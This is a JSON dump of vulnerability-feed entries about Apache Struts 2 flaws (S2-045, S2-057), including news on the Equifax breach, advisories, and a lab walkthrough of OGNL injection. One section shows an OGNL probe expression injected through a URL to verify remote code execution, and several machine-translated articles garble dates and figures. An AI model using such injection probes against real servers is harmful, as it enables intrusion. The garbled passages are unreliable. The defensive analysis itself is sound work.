and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. \n \nThe last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. \n \nCisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. \n \nAt the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the [Cisco Bug Search Tool](<https://bst.cloudapps.cisco.com/bugsearch/bug/BUGID>). \n \nSince the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.\n", "cvss3": {}, "published": "2017-09-11T23:50:00", "type": "thn", "title": "Apache Struts 2 Flaws Affect Multiple Cisco Products", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9804", "CVE-2017-5638", "CVE-2017-9793", "CVE-2017-9805", "CVE-2017-12611"], "modified": "2017-09-12T10:51:16", "id": "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "href": "https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:53", "description": "[![equifax-credit-security-breach](https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png)](<https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png>)\n\n[Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. \n \nCredit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. \n \nEquifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. \n \nIn addition, credit card information for [nearly 209,000 customers](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. \n \nThe breach was due to a critical vulnerability ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. \n \nEquifax was even [informed by the US-CERT](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [[PDF](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>)] to the House Committee on Energy and Commerce. \n\n\n> \"It appears that the breach occurred because of both human error and technology failures,\" Smith said. \"Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.\"\n\nIn the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results \"promptly.\" \n \nMandiant said a total of 145.5 million consumers might now potentially have been [impacted by the breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>), which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of \"new attacker activity.\" \n\n\n> \"Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,\" Equifax said in a Monday [press release](<https://investor.equifax.com/news-and-events/news/2017/10-02-2017-213238821>). \n\n> \"Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\"\n\nThe forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. \n \nHowever, Equifax said that this figure \"was preliminary and did not materialize.\" \n \n\"I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,\" newly appointed interim CEO, Paulino do Rego Barros, Jr. said. \n \n\"We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements.\" \n \nEquifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.\n", "cvss3": {}, "published": "2017-10-02T21:23:00", "type": "thn", "title": "Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T08:23:36", "id": "THN:ACD3479531482E2CA5A8E15EB6B47523", "href": "https://thehackernews.com/2017/10/equifax-credit-security-breach.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "myhack58": [{"lastseen": "2019-03-30T00:37:24", "description": "Through this article, we mainly learn how Apache Struts to achieve OGNL injection. Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n! [](/Article/UploadPic/2019-3/201933032655780. png) \nThe following are the available file description: \n1\\. Order. java is model, which is a storing order information of a Java class. \npublic class Order { \nString id; \nString clientName; \nint amount; \n... \n} \n2\\. OrdersService. java is a Helper class, which will be the Orders stored in the HashMap of the total, and its management. \npublic class OrdersService { \n\n\n**[1] [[2]](<93410_2.htm>) [[3]](<93410_3.htm>) [[4]](<93410_4.htm>) [[5]](<93410_5.htm>) [[6]](<93410_6.htm>) [next](<93410_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2019-03-30T00:00:00", "type": "myhack58", "title": "Apache Struts OGNL injection vulnerability principle with an example-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2019-03-30T00:00:00", "id": "MYHACK58:62201993410", "href": "http://www.myhack58.com/Article/html/3/62/2019/93410.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T14:31:18", "description": "It is possible to perform a RCE attack when the namespace value isn't set for a result defined in underlying xml configurations and in the same time, its upper action(s) configurations have no or wildcard namespace. The Same possibility when using the url tag which doesn't have value and action set and in the same time, its upper action(s) configurations have no or wildcard namespace. -- Apache Struts2 Team \n2018 8 May 23, Apache Strust2 released the latest security Bulletin, the Apache Struts2 there is a remote code execution of high-risk vulnerability by Semmle Security Research team of security researchers reporting vulnerabilities number of CVE-2018-11776\uff08S2-057 in. Struts2 in XML configuration, if the namespace value is not set and the Action Configuration is not set or wildcard namespace may lead to remote code execution. \n\n0x01 vulnerability affect \nAffect \nDetermining CVE-2018-11776 as a high-risk vulnerability. \nThe actual scene there are some limitations that need to meet certain conditions. \nImpact version \nStruts 2.3 to 2.3.34 \nThe Struts 2.5 to 2.5.16 \nFix version \nThe Struts 2.3.35 \nThe Struts 2.5.17 \n\n0x02 vulnerability verification \n! [](/Article/UploadPic/2018-8/2018823153240150. png) \nIncoming OGNL expression${2333+2333} \n! [](/Article/UploadPic/2018-8/2018823153240244. png) \nSuccess with the execution of the function, and perform \n! [](/Article/UploadPic/2018-8/2018823153240318. png) \nReturns the result to the URL \n\n0x03 repair recommendations \nThe official recommended to upgrade the Struts to 2. 3. 35 version or 2. 5. 17 version \nThe updated version there are no compatibility issues \n\n0x04 timeline \n2018-08-22 vulnerability disclosure \n2018-08-22 360CERT publish early warning analysis advertisement \n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "Apache Struts2 S2-057 vulnerability analysis and early warning-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891267", "href": "http://www.myhack58.com/Article/html/3/62/2018/91267.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-23T14:31:31", "description": "! [](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-16T03:17:43", "description": "Author: janes(know Chong Yu 404 laboratory)\n\nDate: 2017-03-15\n\n## Background description\n\nStruts2 official to GMT 2017 3 December 6, 10pm published Struts2 there is a remote code execution vulnerability vulnerability number S2-045, CVE number: CVE-2017-5638, and rated as high-risk vulnerabilities. Because the vulnerability affects a wide range of\uff08Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10, the vulnerability degree of harm is severe, you can directly access the application system of the server where the control limit, and 3 on 7 May in the morning on the Internet on the outflow of the vulnerability of the PoC and Exp,so, S2-045 vulnerability in the Internet on the impact of rapid expansion, by the Internet companies and the government attach great importance. From vulnerability announcement to now(3.6-3.15)has been more than a week, so take this opportunity to analyze S2-045 in the social media Twitter and on Sina Weibo heat distribution.\n\n## Data acquisition\n\nIf you want to analyze Twitter and on Sina Weibo, S2-045 vulnerability of the heat distribution, then you need to get Twiiter and Facebook on the data, with the data speak. So they use\u201cselenium+phantomjs\u201dgo crawling the data via Twitter and Sina Weibo web page to the search interface, respectively, search for the keyword\u201cs2-045\u201dand\u201cCVE-2017-5638\u201d, then the search results go to the weight and finishing, taking to Twitter and Facebook, the time display of the time zone inconsistencies, using the same crawl page timestamp and then converted to the local time of the way of a unified time zone issues, the crawling data in the time to 2017 year 3 month 14 days afternoon 18 when, the results as shown below.\n\n* Twitter! [](/Article/UploadPic/2017-3/2017316104811455. png)\n\n* Sina Weibo! [](/Article/UploadPic/2017-3/2017316104812512. png)\n\n## Heat analysis\n\nStatistics daily S2-045 vulnerability in the Twitter and on Sina Weibo, the number of occurrences, to obtain the following table, Twitter, the CCP appears 73 times, Sina Weibo, the CCP appears 45 times. On the dissemination of the amount of data, S2-045 vulnerability of the data amount is not large, this reflected from the side of the security vulnerabilities of the information and not by the majority of the people of concern, mainly in the security circle propagation.\n\n| Social media | 3 December 7 | 3 8 March | 3 April 9 | 3 October 10 | 3 11 March | 3 November 12 | 3 13 February | 3 March 14 \n---|---|---|---|---|---|---|---|--- \nTwitter| 16 | 3 | 7 | 15 | 6 | 11 | 15 | 0 \nSina Weibo| 23 | 8 | 7 | 3 | 0 | 0 | 1 | 3 \n\n! [](/Article/UploadPic/2017-3/2017316104812815. png)\n\nUsing the above table of data, production of graphics, get as on the heat distribution from the figure it can be seen:\n\n* 3 month 6 day before the announcement of the S2-045 vulnerability, 3 on 7, on Twitter and on Sina Weibo, the occurrence of the outbreak spread, which is likely to and vulnerabilities of the PoC and Exp in 3 month 7 days you on the Internet widely spread about;\n* Sina Weibo, S2-045 vulnerability to the heat distribution of the overall downward state, in the peak in 3 month 7 days, while Twitter as a whole was undulating trend, 3 on 7th, 3 on 10th and 3 on 13 September are peak;\n* Sina Weibo and Twitter for both the overall potential is not the same, and in 3 on the 7th, Sina Weibo and Twitter are data of the highest peak, but Sina Weibo, the amount of data than Twitter.\n\nThere may be several reasons could explain this phenomenon:\n\n* S2-045 vulnerability is the Chinese found that, 3 on 6 September evening, the official publication of the vulnerability, 3 on 7 on the morning of the vulnerabilities of the PoC and Exp in domestic Internet flow out, by domestic security company-wide attention, this also would explain the 3 on 7 The New Wave of microblogging amount of data over the Twitter phenomenon;\n* Due to the S2-045 vulnerability to serious harm, and quickly spread out of PoC and Exp, and therefore, 3 on 7 August, the domestic security companies will quickly start the emergency response, other Internet companies also in self-examination and patch S2-045 vulnerability, with the vulnerability of repair, on Sina Weibo, the attention naturally reduces, the overall will show a downward trend;\n* Twitter user distribution of a wide range of countries or regions affected by the S2-045 the influence is different, therefore trends appear UPS and downs.\n\n3 December 7, Sina Weibo and Twitter are data peak, then the 3 on 7, data, time period distribution mapping as follows, As can be seen, the morning 8 When before, Sina Weibo and Twitter, the amount of data is 0, 8 to 10 period rooms began to appear, it seems, and working hours more in line with the, The and the data the peak occurred mainly in the afternoon 14 to 18 between, perhaps this is because PoC and Exp on the Internet widely spread, caused the Internet began to be mass attack(reference [HackerNews Struts2 vulnerability disclosure 24 hour](<http://hackernews.cc/archives/7371>)) to.\n\n! [](/Article/UploadPic/2017-3/2017316104812327. png)\n\nFinally, look at Twitter and Sina Weibo on on S2-045 vulnerability in the first message what time and by whom issued, and the results are shown in the following table. Twitter and Sina microblogging issued the first message is not the same person, but the transmission time difference is not much, visible at home and abroad to exploit the perceptual capacity is relatively quite.\n\nIbid., the times are Beijing time, according to the unix time stamp conversion.\n\nSocial media | time | nickname | real identity\n---|---|---|--- \nTwitter | 2017-03-07 09:29:00 | @amannk | \nSina Weibo | 2017-03-07 09:44:29 | gnaw0725 | nsfocus Brand Manager Wang Yang\n\n**[1] [[2]](<84379_2.htm>) [next](<84379_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "myhack58", "title": "The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "MYHACK58:62201784379", "href": "http://www.myhack58.com/Article/html/3/62/2017/84379.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-07T09:25:02", "description": "Recently, the national information security vulnerabilities library CNNVD received on the Apache Struts2 \uff08S2-045 remote code execution vulnerability CNNVD-201703-152 the case of the message send. Because the vulnerability affects a wide range of hazard level high, the national information security vulnerabilities library CNNVD for the tracking analysis, the situation is as follows: \nA, vulnerability introduction\nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework, mainly to provide two versions of the frame product: Struts 1 and Struts 2 of. \nApacheStruts 2.3.5 \u2013 2.3. 31 version and 2. 5 \u2013 2.5.10 version there is a remote code execution vulnerability CNNVD-201703-152, CVE-2017-5638 it. The vulnerability is due to the upload functionality of the exception handling function does not properly handle user input error information. Lead to a remote attacker by sending malicious packets that exploit the vulnerability in the affected on the server execute arbitrary commands. \nSecond, the vulnerability to hazards\nAn attacker can send malformed HTTP packet to exploit the vulnerability in the affected server to perform system commands, and further can completely control the server, causing a denial of service, data leakage, website creation tampering and other effects. Since the exploit without any pre-conditions such as open dmi, debug, and other functions, and enable any plugins, and therefore vulnerability to harm is more serious. \nThird, the repair measures\nCurrently, the Apache official has been directed to the vulnerabilities released a security announcement. Please the affected users to check whether or not affected by the vulnerability. \nSelf-examination manner\n\u7528\u6237 \u53ef \u67e5\u770b web \u76ee\u5f55 \u4e0b /WEB-INF/lib/ \u76ee\u5f55 \u4e0b \u7684 struts-core.x.x.jar file, if the version in Struts2. 3. 5 to Struts2. 3. 31 and Struts2. 5 to Struts2. 5. 10 between the presence of vulnerabilities. \nUpgrade repair\nAffected users can upgrade to version to Apache Struts 2.3.32 or Apache Struts 2.5.10.1 to eliminate the vulnerability. \nTemporary relief\nAs the user inconvenient to upgrade, may take the following temporary solution: \nl delete commons-fileupload-x. x. x. the jar file will cause the upload function is not available. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "About Apache Struts2\uff08S2-045\uff09vulnerability briefings-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784024", "href": "http://www.myhack58.com/Article/html/3/62/2017/84024.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-06-07T13:16:58", "description": "I always believe to share with people is a good trait, and I'm also from the vulnerability reward in the field of multi-bit security research experts learned a lot to make me last a lifetime things, so I decided in this article to share with you some of my recent little discovery, hope these things can help you Freebuf of friends early on their own vulnerability reward trip. \n! [](/Article/UploadPic/2017-6/201767192643555. png? www. myhack58. com) \nJust a few months ago, a security research expert in Apache Struts2, found a serious security vulnerability, CVE-2017-5638, probably some of you have heard of this thing. This is a remote code execution vulnerability, then Internet in a large number of Web applications are affected by this vulnerability. About three weeks later, researchers released the Struts2 exploit code. \nIn a dig before the Investigative process, I came across the following link: 